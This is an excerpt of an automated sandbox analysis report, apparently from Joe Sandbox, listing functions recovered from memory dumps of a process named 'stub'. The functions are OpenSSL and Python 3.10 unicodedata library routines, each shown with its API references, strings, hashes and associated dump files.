String ID: $OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 2603057392-2963566556
Opcode ID: f345fe9751aee154af01c3e1e6d1fa697fd8000db767964d7236d7de487c6ed0
Instruction ID: 6bc3e329263e1c1708343739a7fc01c25483b70f8714575d0488b3cfb3304922
Opcode Fuzzy Hash: f345fe9751aee154af01c3e1e6d1fa697fd8000db767964d7236d7de487c6ed0
Instruction Fuzzy Hash: 4091DF32A0AB82A6EB20CF64D8441AD7760FB45BD8F444735EA5D47A99FF3CE265C310

Function 00007FF8A7DE1C1C Relevance: 21.3, APIs: 5, Strings: 9, Instructions: 267stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E91B83
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E91CAC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E91CBF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E91E5C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E91E6F

Part of subcall function 00007FF8A7E93980: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A43
Part of subcall function 00007FF8A7E93980: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A5B
Part of subcall function 00007FF8A7E93980: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A78

Strings

content-type, xrefs: 00007FF8A7E91B34
type: , xrefs: 00007FF8A7E91CEE, 00007FF8A7E91E9E
multipart/signed, xrefs: 00007FF8A7E91B79
boundary, xrefs: 00007FF8A7E91B94
application/pkcs7-signature, xrefs: 00007FF8A7E91CB5
application/x-pkcs7-signature, xrefs: 00007FF8A7E91CA2
..\s\crypto\asn1\asn_mime.c, xrefs: 00007FF8A7E91AFB, 00007FF8A7E91C3D, 00007FF8A7E91CD5, 00007FF8A7E91D51, 00007FF8A7E91DD5, 00007FF8A7E91E07, 00007FF8A7E91E85, 00007FF8A7E91F0C
application/x-pkcs7-mime, xrefs: 00007FF8A7E91E52
application/pkcs7-mime, xrefs: 00007FF8A7E91E65

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strcmp$strncmp
String ID: ..\s\crypto\asn1\asn_mime.c$application/pkcs7-mime$application/pkcs7-signature$application/x-pkcs7-mime$application/x-pkcs7-signature$boundary$content-type$multipart/signed$type:
API String ID: 1244041713-3630080479
Opcode ID: 5c42a64bcc6be4480e683597961931d2fd487040ce01bd39a7972efb1740c311
Instruction ID: 30897335a3ec4f580877c8cb2a3b95f452a6e7fcd961afdbcf00b8737370484a
Opcode Fuzzy Hash: 5c42a64bcc6be4480e683597961931d2fd487040ce01bd39a7972efb1740c311
Instruction Fuzzy Hash: 8EC1BF72B0EA46A1FA21EF61A4406BDA391EF45BC4F844131EE1D0778AEF3DE564E710

Function 00007FF8A7DE1F69 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 135COMMON

Download Yara Rule

Strings

..\s\crypto\rand\randfile.c, xrefs: 00007FF8A7FAE172, 00007FF8A7FAE1D1, 00007FF8A7FAE2DC
Filename=, xrefs: 00007FF8A7FAE193, 00007FF8A7FAE1E7, 00007FF8A7FAE2FD
i, xrefs: 00007FF8A7FAE1C9

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\rand\randfile.c$Filename=$i
API String ID: 0-1799673945
Opcode ID: 7d1977694894f8042029fe63fd36c3481b6e532379de41e032ad477ae45bac35
Instruction ID: 63d7d6925ce120de24fcfbf0609f6377c999f4786de619b0c76338418d559afb
Opcode Fuzzy Hash: 7d1977694894f8042029fe63fd36c3481b6e532379de41e032ad477ae45bac35
Instruction Fuzzy Hash: 5B519021E0AA42A6FA219F65D84167E73A1EF85BC4F404239E91D476D9FF3CE605EB00

Function 00007FF8A7CC2560 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PyModule_AddStringConstant.PYTHON310 ref: 00007FF8A7CC2580
PyType_FromSpec.PYTHON310 ref: 00007FF8A7CC2595
PyModule_AddType.PYTHON310 ref: 00007FF8A7CC25AD
_Py_Dealloc.PYTHON310 ref: 00007FF8A7CC3F5B

Part of subcall function 00007FF8A7CC2640: _PyObject_GC_New.PYTHON310(?,?,00000000,00007FF8A7CC25C3), ref: 00007FF8A7CC2646
Part of subcall function 00007FF8A7CC2640: PyObject_GC_Track.PYTHON310(?,?,00000000,00007FF8A7CC25C3), ref: 00007FF8A7CC2678

PyModule_AddObject.PYTHON310 ref: 00007FF8A7CC25E2
PyModule_AddObjectRef.PYTHON310 ref: 00007FF8A7CC260A
_Py_Dealloc.PYTHON310 ref: 00007FF8A7CC3F6A
_Py_Dealloc.PYTHON310 ref: 00007FF8A7CC3F88

Part of subcall function 00007FF8A7CC26B0: PyMem_Malloc.PYTHON310(?,?,00000000,00007FF8A7CC25F5), ref: 00007FF8A7CC26BB
Part of subcall function 00007FF8A7CC26B0: PyCapsule_New.PYTHON310(?,?,00000000,00007FF8A7CC25F5), ref: 00007FF8A7CC26F8

Strings

unidata_version, xrefs: 00007FF8A7CC2579
13.0.0, xrefs: 00007FF8A7CC256F
_ucnhash_CAPI, xrefs: 00007FF8A7CC2600
ucd_3_2_0, xrefs: 00007FF8A7CC25D8

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Module_$Dealloc$ObjectObject_$Capsule_ConstantFromMallocMem_SpecStringTrackTypeType_
String ID: 13.0.0$_ucnhash_CAPI$ucd_3_2_0$unidata_version
API String ID: 288921926-2302946913
Opcode ID: 62d4d3cd799c6d8f812ed8f617823c366c006b3cb356fa84011d219d302020c9
Instruction ID: d3a8564711c051bccea9e87eaa9948bdc29be27e4d688739814526b57639d660
Opcode Fuzzy Hash: 62d4d3cd799c6d8f812ed8f617823c366c006b3cb356fa84011d219d302020c9
Instruction Fuzzy Hash: 11212721E0FA03A1FB159F22AA2417D23A8EF49BD6F484134DB0E57696EF2CE405A314

Function 00007FF8A7CC4790 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC47C3
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC47F8
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC480B
_PyUnicode_ToDigit.PYTHON310 ref: 00007FF8A7CC48A9
PyErr_SetString.PYTHON310 ref: 00007FF8A7CC48C9
PyLong_FromLong.PYTHON310 ref: 00007FF8A7CC48DD

Strings

argument 1, xrefs: 00007FF8A7CC47F1
not a digit, xrefs: 00007FF8A7CC48BF
digit, xrefs: 00007FF8A7CC47BC, 00007FF8A7CC47EA
a unicode character, xrefs: 00007FF8A7CC47E3

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_Unicode_$ArgumentCheckDigitErr_FromLongLong_PositionalReadyString
String ID: a unicode character$argument 1$digit$not a digit
API String ID: 2437920334-4278345224
Opcode ID: b820c1ba8c6851b758e757bda2ac652b098334cf85ab0b0fcac95edf73979230
Instruction ID: 067351d69af5349450931df335bbb7c99f447e555d540e7082841e932d9f610d
Opcode Fuzzy Hash: b820c1ba8c6851b758e757bda2ac652b098334cf85ab0b0fcac95edf73979230
Instruction Fuzzy Hash: 8F415B25F1A686A1FB608F15DA5027D2B61EB84BD4F54C431CB0E976A4DF2DEA46E300

Function 00007FF8A7CC27C0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8A7CC27E8
__scrt_initialize_crt.LIBCMT ref: 00007FF8A7CC282D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8A7CC283A
_RTC_Initialize.LIBCMT ref: 00007FF8A7CC2868
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8A7CC288E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8A7CC28B9

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 4d981778426152582bd2bcf391e0cfb6d03b1f255c64df104127e21353c62d29
Instruction ID: 3dc284c2cdfd3a80afef01f3933e0a9da846bf414c2d3d9e6d001c18463599af
Opcode Fuzzy Hash: 4d981778426152582bd2bcf391e0cfb6d03b1f255c64df104127e21353c62d29
Instruction Fuzzy Hash: 6681C422E0F24366FB609F25A85127D6690EF85BC0F088135DB4C97796FF3CE845A709

Function 00007FF8A7DE7207 Relevance: 16.7, APIs: 4, Strings: 7, Instructions: 159stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF8A7F8CE58
strchr.VCRUNTIME140 ref: 00007FF8A7F8CF02
strchr.VCRUNTIME140 ref: 00007FF8A7F8CF62
strchr.VCRUNTIME140 ref: 00007FF8A7F8CF7A

Strings

443, xrefs: 00007FF8A7F8CEC7
[, xrefs: 00007FF8A7F8CF4F
/, xrefs: 00007FF8A7F8CEE7
http, xrefs: 00007FF8A7F8CE6C
..\s\crypto\ocsp\ocsp_lib.c, xrefs: 00007FF8A7F8CE2F, 00007FF8A7F8CF07, 00007FF8A7F8CF91, 00007FF8A7F8CFAF, 00007FF8A7F8CFCC, 00007FF8A7F8D004, 00007FF8A7F8D019, 00007FF8A7F8D02B, 00007FF8A7F8D040, 00007FF8A7F8D05A
/, xrefs: 00007FF8A7F8CEDD
https, xrefs: 00007FF8A7F8CEA2

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strchr
String ID: ..\s\crypto\ocsp\ocsp_lib.c$/$/$443$[$http$https
API String ID: 2830005266-535551730
Opcode ID: ec310a72ae65f52370769595846790410c2052aed31a49bfab89d94d1a5708c1
Instruction ID: aa6b895046207f4e5d1129070c548d47ebf1deca3ca18b91d546ad5c41c20670
Opcode Fuzzy Hash: ec310a72ae65f52370769595846790410c2052aed31a49bfab89d94d1a5708c1
Instruction Fuzzy Hash: 01618A62B0BB42A0FA16DF25E82067D3760EB45BC4F444072EAAD07385EF3DE655E324

Function 00007FF8A7DE32AB Relevance: 16.6, APIs: 5, Strings: 6, Instructions: 127stringCOMMON

Download Yara Rule

APIs

atoi.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF8A7FDAD4C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7FDAD61
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF8A7FDAD73

Strings

microsecs, xrefs: 00007FF8A7FDAD7E
p, xrefs: 00007FF8A7FDAE04
secs, xrefs: 00007FF8A7FDAD1D
accuracy, xrefs: 00007FF8A7FDAC83, 00007FF8A7FDACD3, 00007FF8A7FDAE24
..\s\crypto\ts\ts_conf.c, xrefs: 00007FF8A7FDACC0, 00007FF8A7FDAE0C
millisecs, xrefs: 00007FF8A7FDAD57

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: atoi$strcmp
String ID: ..\s\crypto\ts\ts_conf.c$accuracy$microsecs$millisecs$p$secs
API String ID: 4175852868-1596076588
Opcode ID: c59d76521946926a4e7aebb6b116e1e3dcada6ba2298dbfdc0017712f336e398
Instruction ID: c983f2f0d1728e701f1a8199d3dac4fc0883f1cb712e3cb8a27a30caac31e1d0
Opcode Fuzzy Hash: c59d76521946926a4e7aebb6b116e1e3dcada6ba2298dbfdc0017712f336e398
Instruction Fuzzy Hash: B551B321A0A647B6EA159F36A8105BE7390FF44BC8F404536EE1E03796EF3CEA55E314

Function 00007FF8A7DE23D3 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF8A7EEDC28
GetProcAddress.KERNEL32 ref: 00007FF8A7EEDC3D
GetProcessWindowStation.USER32 ref: 00007FF8A7EEDC67
GetUserObjectInformationW.USER32 ref: 00007FF8A7EEDC8F
GetLastError.KERNEL32 ref: 00007FF8A7EEDC9D
GetUserObjectInformationW.USER32 ref: 00007FF8A7EEDD08
wcsstr.VCRUNTIME140 ref: 00007FF8A7EEDD30

Strings

_OPENSSL_isservice, xrefs: 00007FF8A7EEDC33
Service-0x, xrefs: 00007FF8A7EEDD29

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindowwcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 459917433-1672312481
Opcode ID: b0e2507b54a2fee0f286af568643ff84d15fb4472f624db1291a1182b8891a4e
Instruction ID: 97b791d265f734061cbf708423d59b992b08ff8a12f0c31feb4d64cb2a3520d0
Opcode Fuzzy Hash: b0e2507b54a2fee0f286af568643ff84d15fb4472f624db1291a1182b8891a4e
Instruction Fuzzy Hash: 6F411C31A06A86B6EB51DF24D8442A823A0EF48BF4F484B35E97D467E4FF3CE5549324

Function 00007FF8A7CC4B48 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4B75
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC4BA7
PyUnicode_Compare.PYTHON310 ref: 00007FF8A7CC4C0A
_Py_Dealloc.PYTHON310 ref: 00007FF8A7CC4C1B
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC4C2F
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC4C4F
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC4C67
PyErr_SetString.PYTHON310 ref: 00007FF8A7CC4C8A

Strings

invalid normalization form, xrefs: 00007FF8A7CC4C80

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Unicode_$Equal$CompareDeallocErr_ReadyString
String ID: invalid normalization form
API String ID: 3010910608-2281882113
Opcode ID: ae959eb8062849ddf2a1372eaa62b4ea46895b67077d31a1475f2e7a558b5720
Instruction ID: 963d4892ea9026a42b862d404b9d7343bdcaddf5cce132e6762c191c2e935a49
Opcode Fuzzy Hash: ae959eb8062849ddf2a1372eaa62b4ea46895b67077d31a1475f2e7a558b5720
Instruction Fuzzy Hash: 69417C21A0EA43A5EB548F22E96037D67A0FF48BD5F848535CF4E977A4DF2DE504A310

Function 00007FF8A7CC4A5C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

